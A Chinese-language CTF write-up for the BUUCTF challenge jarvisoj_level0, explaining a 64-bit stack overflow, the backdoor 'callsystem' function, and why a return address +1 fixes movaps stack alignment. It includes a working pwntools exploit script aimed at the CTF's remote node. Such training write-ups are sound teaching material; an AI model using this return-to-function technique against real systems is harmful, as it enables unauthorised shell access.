BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
给勒布朗上上对抗呀1 小时前
NginxDeny绕过-玄武杯2025-眼见不为实
ctf
中科固源7 小时前
面对快手式自动化突袭:如何堵住通讯协议的数字化命门?
安全·网络安全·通讯协议·模糊测试
闲人不梦卿8 小时前
网络安全技术
网络·网络安全
信安大佬9 小时前
2025鹏城杯-whiteout
网络安全
bl4ckpe4ch9 小时前
用可复现实验直观理解 CORS 与 CSRF 的区别与联系
前端·web安全·网络安全·csrf·cors
奋斗者1号9 小时前
MQTT连接失败定位步骤
开发语言·机器学习·网络安全
小快说网安11 小时前
等保测评通过后,如何持续满足安全运维要求?
运维·安全·网络安全·等保测评
蓝之白11 小时前
流量分析_SnakeBackdoor-1~6
web安全·ctf·流量分析·逆向分析
mooyuan天天12 小时前
CISP-PTE 日志分析2
网络安全·cisp-pte·日志分析
Johny_Zhao12 小时前
黑客msfconsole渗透工具超详细使用说明
linux·python·网络安全·信息安全·渗透测试·云计算·系统运维·攻防演练